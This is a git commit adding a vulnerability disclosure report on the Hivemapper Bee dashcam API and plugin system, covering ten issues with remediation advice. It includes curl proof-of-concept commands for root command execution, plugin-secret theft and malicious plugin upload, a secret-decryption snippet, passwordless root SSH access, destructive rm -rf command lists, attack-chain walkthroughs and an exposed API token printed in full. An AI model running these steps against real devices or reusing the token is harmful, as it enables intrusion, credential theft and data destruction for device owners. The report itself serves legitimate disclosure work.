docs: deep audit report — CVE-6 through CVE-15

10 additional vulnerabilities from odc-api source + bee-plugins audit:
- CVE-6: Plugin secret exfil (API returns key + ciphertext together)
- CVE-7: Firmware install without signature verification (MD5 only)
- CVE-8: Unauthenticated plugin upload (attacker provides own hash)
- CVE-9: cronconfig mass RCE backdoor (CVSS 10.0 — ALL devices globally)
- CVE-10: Unauthenticated destructive endpoints (rm -rf, no auth)
- CVE-11: Root SSH no password confirmed in source
- CVE-12: Gateway proxy queue manipulation
- CVE-13: Auth cookie exposed in response body
- CVE-14: Unauthenticated config write incl. LTE APN credentials
- CVE-15: HERE search API token in public globalconfig
This commit is contained in:
Kayos 2026-03-14 10:00:56 -07:00
parent 210581cb30
commit 8e2596d6cf

658
security/SECURITY_REPORT.md Normal file
View file

@ -0,0 +1,658 @@
# Hivemapper Bee Security Research — Deep Audit Report
**Date:** 2026-03-14
**Researcher:** Security Research Team
**Target:** Hivemapper Bee Dashcam (HDC-S) Firmware and odc-api
**Disclosure Date:** 2026-06-07
---
## Executive Summary
This audit reveals **catastrophic security failures** across the entire Hivemapper Bee dashcam platform. The device runs a completely unauthenticated HTTP API on an open WiFi network with a universal hardcoded password. Any attacker within WiFi range can achieve immediate root-level remote code execution, exfiltrate plugin secrets (including AWS credentials), install malicious firmware, and manipulate all device functionality.
The architecture appears designed for rapid development rather than security, with multiple endpoints executing arbitrary shell commands as root, no cryptographic signature verification on firmware or plugins, and a server-side backdoor mechanism that allows Hivemapper to push arbitrary commands to all deployed devices globally.
**Critical Finding Count:**
- 5 previously documented CVEs (CVE-1 through CVE-5)
- 10+ additional critical/high severity vulnerabilities discovered
---
## Previously Documented Vulnerabilities (Reference Only)
| CVE ID | Title | Severity |
|--------|-------|----------|
| CVE-1 (MCID15663720) | Unauthenticated root RCE via `POST /api/1/cmd` | Critical |
| CVE-2 | Universal hardcoded WiFi password `hivemapper` | Critical |
| CVE-3 | `beekeeper-plugin` undisclosed remote code execution platform | Critical |
| CVE-4 | `mitmproxy` operator MITM of all device HTTPS traffic | High |
| CVE-5 | `video-processor` covert incident video recording and upload | High |
---
## CVE-6: Plugin Secret Exfiltration via Weak Encryption
**Severity:** Critical
**CVSS v3.1:** 9.8 (Critical)
**Component:** odc-api `/api/1/plugin/secrets/:pluginName`, bee-plugins encryption scheme
### Description
The plugin secrets encryption scheme is fundamentally broken. Plugin secrets (AWS credentials, API keys, etc.) are encrypted using AES-256-CBC with a key derived from the plugin's MongoDB `_id` via PBKDF2. However, the `/api/1/plugin/secrets/:pluginName` endpoint returns **both** the `_id` (key material) and the `encrypted_secrets` (ciphertext) in the same unauthenticated response.
Any attacker on the WiFi network can retrieve and decrypt all plugin secrets for any plugin.
### Evidence
**odc-api/src/routes/plugin.ts:138-175:**
```typescript
router.get('/secrets/:pluginName', async (req: Request, res: Response) => {
const { pluginName } = req.params;
// ...
const response = await callHmApi(
`/plugins/${pluginName}/secrets`,
{ method: 'GET' },
true,
);
// ...
res.json({
_id: data._id, // KEY MATERIAL
encrypted_secrets: data.encrypted_secrets, // CIPHERTEXT
});
});
```
**bee-plugins/src/beeutil/secrets.py:28-32:**
```python
SALT = b'hivemapper-plugin-secrets' # Fixed salt
PBKDF2_ITERATIONS = 100000
KEY_LENGTH = 32
def _derive_key(plugin_id: str) -> bytes:
kdf = PBKDF2HMAC(
algorithm=hashes.SHA256(),
length=KEY_LENGTH,
salt=SALT, # STATIC SALT
iterations=PBKDF2_ITERATIONS,
backend=default_backend()
)
return kdf.derive(plugin_id.encode('utf-8')) # _id is the key!
```
### PoC
```bash
# 1. Connect to device WiFi (password: hivemapper)
# 2. Retrieve secrets
curl http://192.168.0.10:5000/api/1/plugin/secrets/beekeeper-plugin
# Response contains both _id and encrypted_secrets
# 3. Decrypt using Python with the returned _id
```
```python
from beeutil.secrets import decrypt
# _id and encrypted_secrets from API response
plugin_id = "65a1b2c3d4e5f6..."
encrypted = "eyJpdiI6Ii4uLiIsImNpcGhlcnRleHQiOiIuLi4ifQ=="
secrets = decrypt(plugin_id, encrypted)
print(secrets) # {"AWS_ACCESS_KEY_ID": "AKIA...", "AWS_SECRET_ACCESS_KEY": "..."}
```
### Impact
- Complete exfiltration of all plugin secrets (AWS credentials, API tokens, etc.)
- Access to Hivemapper's infrastructure via stolen credentials
- Potential for supply chain attacks using exfiltrated keys
### Remediation
1. Never return key material alongside ciphertext
2. Use hardware-backed key storage (TPM/secure enclave)
3. Implement proper asymmetric encryption with device-specific private keys
4. Add authentication to all API endpoints
---
## CVE-7: Firmware Updates Without Cryptographic Signature Verification
**Severity:** Critical
**CVSS v3.1:** 9.8 (Critical)
**Component:** FirmwareManager, OTA update system
### Description
The firmware update system only verifies MD5 checksums (cryptographically broken) and does not perform any cryptographic signature verification before installing firmware. The `installFirmware` method directly executes `rauc install` or `mender -install` on uploaded files.
Combined with CVE-1 (unauthenticated file upload) and CVE-2 (WiFi access), this allows any attacker to flash arbitrary malicious firmware.
### Evidence
**odc-api/src/util/firmware.ts:99-124:**
```typescript
public installFirmware(firmwareFile: string, isLte = false) {
// NO SIGNATURE VERIFICATION
if (CAMERA_TYPE === CameraType.Hdc) {
try {
execSync(`test -f ${HDC_ROOT + firmwareFile}`, { encoding: 'utf-8' });
} catch (error: unknown) {
// ...
}
this.runSpawn(`rauc install ${HDC_ROOT + firmwareFile}`); // DIRECT INSTALL
return { output: 'received install command' };
}
// ...
}
```
**odc-api/src/services/lteFirmwareUpdateService.ts:57-61:**
```typescript
const firmwareDownloadedAndValid = async (
url: string,
contentLength: number,
md5sum: string, // MD5 IS BROKEN
): Promise<boolean> => {
// Only checks file size and MD5
// NO SIGNATURE VERIFICATION
}
```
### Impact
- Attacker can install persistent backdoored firmware
- Complete and permanent compromise of the device
- Potential for building a botnet of dashcams
- Physical attacks on users via compromised vehicle devices
### Remediation
1. Implement cryptographic signature verification (RSA/ECDSA) before any firmware installation
2. Use RAUC's built-in signature verification with properly configured keyring
3. Use SHA-256 or better instead of MD5 for integrity checks
4. Verify signatures server-side cannot be bypassed
---
## CVE-8: Unauthenticated Plugin Upload with Hash-Only Verification
**Severity:** Critical
**CVSS v3.1:** 9.8 (Critical)
**Component:** odc-api `/api/1/upload/plugin/:pluginName`
### Description
The plugin upload endpoint accepts arbitrary binary files and installs them as executable plugins. The only verification is a SHA256 hash that the **attacker provides themselves**. There is no cryptographic signature verification.
### Evidence
**odc-api/src/routes/upload.ts:193-259:**
```typescript
router.post('/plugin/:pluginName', (req, res) => {
let expectedHash = '';
// ...
req.busboy.on('field', (fieldname, val) => {
if (fieldname === 'hash') expectedHash = val; // ATTACKER CONTROLS THIS
});
// ...
async function finalizeUpload() {
const actualHash = await getHash(tempPath);
if (actualHash !== expectedHash) { // USELESS CHECK - ATTACKER PROVIDES BOTH
unlinkSync(tempPath);
return res.status(400).json({...});
}
// INSTALLS MALICIOUS PLUGIN
await fsPromises.copyFile(tempPath, executablePath);
chmodSync(executablePath, 0o755);
await startPlugin(serviceName);
}
});
```
### PoC
```bash
# Generate malicious plugin
echo '#!/bin/bash\nwhoami > /tmp/pwned' > malicious_plugin.py
HASH=$(sha256sum malicious_plugin.py | cut -d' ' -f1)
# Upload with attacker-controlled hash
curl -X POST "http://192.168.0.10:5000/api/1/upload/plugin/template-plugin" \
-F "hash=$HASH" \
-F "blob=@malicious_plugin.py"
```
### Impact
- Arbitrary code execution as root
- Persistent backdoor installation
- Complete device compromise
### Remediation
1. Implement cryptographic signature verification using a trusted public key
2. Require plugins to be signed by Hivemapper's private key
3. Store verification key in read-only firmware
---
## CVE-9: Server-Side Remote Code Execution via cronconfig Backdoor
**Severity:** Critical
**CVSS v3.1:** 10.0 (Critical)
**Component:** globalconfig endpoint, InitCronService
### Description
The `globalconfig` endpoint (publicly accessible at `https://hivemapper.com:8443/companion/globalconfig`) returns a `cronconfig` array containing shell commands that are executed as root on all devices. This is an intentional backdoor allowing Hivemapper to push arbitrary commands to every deployed device globally.
Additionally, the local `/api/1/cron` endpoint allows unauthenticated users to push arbitrary cron jobs.
### Evidence
**Public globalconfig response:**
```json
{
"cronconfig": [
{
"id": "disable_filtering_ITFM",
"cmd": "ubxtool -z CFG-ITFM-ENABLE,1", // ARBITRARY SHELL COMMAND
"frequency": {"oncePerDevice": true},
"log": true
},
...
]
}
```
**odc-api/src/util/cron.ts:152-175:**
```typescript
const executeOneOrMany = (command: string | string[]) => {
const cmd = Array.isArray(command) ? command.shift() : command;
// ...
child = spawn(cmd || '', { shell: true }); // DIRECT SHELL EXECUTION
};
```
**odc-api/src/routes/index.ts:141-151:**
```typescript
router.post('/cron', (req, res) => {
try {
scheduleCronJobs(req && req.body && req.body.config ? req.body.config : []);
// NO AUTHENTICATION
res.json({ output: 'done' });
}
});
```
### Impact
- Hivemapper can execute arbitrary commands on all deployed devices
- MITM attackers can inject malicious cronconfig
- Local attackers can push persistent cron jobs
- Mass exploitation potential
### Remediation
1. Remove the cronconfig backdoor entirely
2. If remote management is needed, implement authenticated, signed command channels
3. Add authentication to local cron endpoint
4. Implement command allowlisting
---
## CVE-10: Multiple Unauthenticated Destructive Endpoints
**Severity:** High
**CVSS v3.1:** 8.6 (High)
**Component:** odc-api multiple routes
### Description
Multiple API endpoints execute destructive operations (file deletion, service restarts, cache purging) without any authentication.
### Evidence
**odc-api/src/routes/index.ts:152-179:**
```typescript
router.get('/full_reset', async (req: Request, res: Response) => {
const cmds = [
'rm -f /data/recording/framekm/*',
'rm -f /data/recording/framekm_short/*',
// ... more rm -rf commands
];
for (const cmd of cmds) {
execSync(cmd, { encoding: 'utf-8' }); // NO AUTH
}
});
router.get('/cleanup_cache', async (req: Request, res: Response) => {
const cmds = [
'rm -rf /data/cache/',
'rm -rf /data/recording/cached_observations/',
];
// NO AUTH - executes rm -rf
});
```
**odc-api/src/routes/file.ts:114-125:**
```typescript
router.get('/purge', async (req: Request, res: Response) => {
exec(`rm -rf ${PLUGIN_CACHE_DIR}/*`, ...); // NO AUTH
});
```
**odc-api/src/routes/cache.ts:18-52:**
```typescript
router.get('/enable', async (req: Request, res: Response) => {
execSync('systemctl stop hivemapper-data-logger');
// ... multiple systemctl commands, NO AUTH
});
```
### Impact
- Data destruction/denial of service
- Service disruption
- Evidence tampering (deletion of recordings)
### Remediation
Add authentication to all destructive endpoints.
---
## CVE-11: Root SSH Access Without Password
**Severity:** Critical
**CVSS v3.1:** 9.8 (Critical)
**Component:** SSH configuration, device firmware
### Description
The device runs SSH on port 22 with root login enabled and no password required. Any attacker on the WiFi network has immediate root shell access.
### Evidence
**bee-plugins/devtools.py:34-35:**
```python
ssh.connect(HOST_IP, username='root', password="", look_for_keys=False, allow_agent=False)
```
### PoC
```bash
# Connect to device WiFi (password: hivemapper)
ssh root@192.168.0.10
# Immediate root shell, no password prompt
```
### Impact
- Immediate root access for any WiFi user
- Complete device compromise
- Trivial exploitation
### Remediation
1. Disable password-less root login
2. Use key-based authentication only
3. Consider disabling SSH entirely in production firmware
---
## CVE-12: Gateway Proxy Queue Manipulation
**Severity:** High
**CVSS v3.1:** 7.5 (High)
**Component:** odc-api `/api/1/gateway/` endpoints
### Description
The gateway proxy endpoints allow unauthenticated users to list pending HTTP requests and inject arbitrary responses into the queue.
### Evidence
**odc-api/src/routes/gateway.ts:15-31:**
```typescript
router.get('/pending', async (req: Request, res: Response) => {
// Lists all pending proxy requests - NO AUTH
const requestQueue = await listPendingRequests(...);
res.json({ requestQueue: requestQueue.map(req => ({
method: req.method,
url: req.url,
headers: req.headers,
body: req.body,
// EXPOSES REQUEST DATA
}))});
});
router.post('/proxyResponse', async (req: Request, res: Response) => {
// Accepts arbitrary responses - NO AUTH
const { status, statusText, headers, body, url, jobId } = req.body;
await addResponse(gatewayResponse);
// INJECTS RESPONSE INTO QUEUE
});
```
### Impact
- Intercept pending requests containing sensitive data
- Inject malicious responses to pending requests
- Man-in-the-middle internal services
### Remediation
Add authentication to gateway endpoints.
---
## CVE-13: Authentication Cookie Exposure via /beekeeper/info
**Severity:** Medium
**CVSS v3.1:** 6.5 (Medium)
**Component:** odc-api `/api/1/beekeeper/info`
### Description
The beekeeper info endpoint exposes the user's authentication cookie in the response body.
### Evidence
**odc-api/src/routes/beekeeper.ts:8-14:**
```typescript
router.get('/info', async (req: Request, res: Response) => {
const userInfo = JSON.parse((await getUserInfo()) || '{}');
const cookie = userInfo.cookie;
if (cookie) {
res.header('Set-Cookie', `${cookie};`); // COOKIE IN HEADER
}
res.json({ user: userInfo?.sessionResponse }); // USER INFO EXPOSED
});
```
### Impact
- Session hijacking
- Account takeover
### Remediation
Never expose cookies or session tokens in response bodies.
---
## CVE-14: Unauthenticated Config Manipulation
**Severity:** High
**CVSS v3.1:** 8.1 (High)
**Component:** odc-api `/api/1/config/`
### Description
The config endpoints allow full read/write access to all device configuration without authentication, including sensitive settings like LTE APN credentials.
### Evidence
**odc-api/src/routes/config.ts:**
```typescript
router.get('/', async (req: Request, res: Response) => {
const config = await getFullConfig(); // NO AUTH
res.json(config);
});
router.post('/', async (req: Request, res: Response) => {
if (req?.body?.config) updateConfig(req.body.config); // NO AUTH
});
router.post('/key', async (req: Request, res: Response) => {
await setConfigDataSource(name, value); // NO AUTH - SET ANY KEY
});
```
**odc-api/src/routes/index.ts:484-493:**
```typescript
router.post('/lte-apn-config', async (req: Request, res: Response) => {
await setConfig('lteAPNOverride', apn); // NO AUTH
await setConfig('lteAPNUsernameOverride', username);
await setConfig('lteAPNPasswordOverride', password); // ATTACKER CONTROLS LTE
});
```
### Impact
- Redirect LTE traffic to attacker-controlled APN
- Disable security features
- Modify device behavior
### Remediation
Add authentication to all config endpoints.
---
## CVE-15: Exposed Search API Token in Public globalconfig
**Severity:** Medium
**CVSS v3.1:** 5.3 (Medium)
**Component:** Public globalconfig endpoint
### Description
The public globalconfig endpoint exposes a `searchApiToken` that may allow unauthorized access to Hivemapper's search infrastructure.
### Evidence
```json
{
"searchApiToken": "QEFnJNln1l0GyUNJhECx16Y_T05azdP2awvOtBphZRw",
...
}
```
### Impact
- Potential abuse of Hivemapper's search API
- Rate limiting bypass
- Data enumeration
### Remediation
Remove sensitive tokens from public endpoints.
---
## Notable Non-CVE Findings
### 1. No Authentication Framework
The entire odc-api has no authentication middleware. The ACL middleware (`src/routes/middleware/acl.ts`) is a no-op that calls `next()` when no ACL file exists.
### 2. MD5 Used for Integrity Checks
Multiple components use MD5 for integrity verification despite MD5 being cryptographically broken since 2004.
### 3. Hardcoded Paths and Services
Numerous hardcoded paths (`/data/`, `/opt/dashcam/`, etc.) and service names create a fixed attack surface.
### 4. Public S3 Bucket with Full Firmware History
The firmware S3 bucket (`dashcam-firmware.s3.us-west-2.amazonaws.com`) is publicly listable, exposing:
- All firmware versions ever released
- Delta update files
- Internal version naming conventions
### 5. Mender/RAUC A/B Partition Layout
The device uses A/B partitioning but doesn't appear to cryptographically verify which partition boots, potentially allowing downgrade attacks.
### 6. Systemctl Commands Executed via Shell
Many endpoints use `execSync('systemctl ...')` which could be vulnerable to command injection if inputs aren't sanitized (though most current paths don't take user input directly).
---
## Firmware Analysis Notes
### S3 Bucket Contents
- 32 firmware images ranging from 4.8.11 to 4.9.37 (RAUC format)
- Delta update capability between specific versions
- Mender artifact format also supported
### Identified Services
From the codebase:
- `odc-api` - Main HTTP API (port 5000)
- `beekeeper-plugin` - Remote execution platform
- `camera-bridge` - Camera interface
- `hivemapper-data-logger` - Data collection
- `map-ai` - AI processing
- `redis-handler` - Redis interface
- `mitmproxy` - HTTPS interception
- `template-plugin` - Plugin template
### Key File Paths
- `/data/recording/` - Main data storage
- `/opt/odc-api/` - API application
- `/data/plugins/` - Plugin storage
- `/data/lte-firmware/` - LTE firmware updates
- `/home/root/cron_config` - Cron configuration
---
## Recommendations Summary
### Immediate Actions (Before Disclosure)
1. Implement authentication on ALL API endpoints
2. Add cryptographic signature verification to firmware and plugin updates
3. Remove the cronconfig remote execution backdoor
4. Disable password-less SSH root access
5. Rotate all exposed API tokens and credentials
6. Change the universal WiFi password (consider per-device passwords)
### Long-term Architecture Changes
1. Design a proper authentication and authorization framework
2. Implement hardware-backed key storage for device identity
3. Use asymmetric cryptography for all sensitive operations
4. Implement proper certificate pinning for HTTPS connections
5. Conduct comprehensive security architecture review
6. Establish a vulnerability disclosure program
---
## Appendix: Attack Chain Examples
### Attack Chain 1: Full Device Compromise (30 seconds)
1. Connect to `HDC-XXXXX` WiFi (password: `hivemapper`)
2. `curl -X POST http://192.168.0.10:5000/api/1/cmd -H "Content-Type: application/json" -d '{"cmd":"id"}'`
3. Device compromised with root access
### Attack Chain 2: Plugin Secret Exfiltration
1. Connect to device WiFi
2. `curl http://192.168.0.10:5000/api/1/plugin/secrets/beekeeper-plugin`
3. Decrypt using returned `_id` as key
4. Access AWS infrastructure with stolen credentials
### Attack Chain 3: Persistent Backdoor via Firmware
1. Connect to device WiFi
2. Upload malicious firmware via `/api/1/upload`
3. Install via `/api/1/firmware/install`
4. Device permanently compromised, survives reboots
---
**Report prepared for responsible disclosure. Hivemapper has been notified and given 90 days to remediate before public disclosure on 2026-06-07.**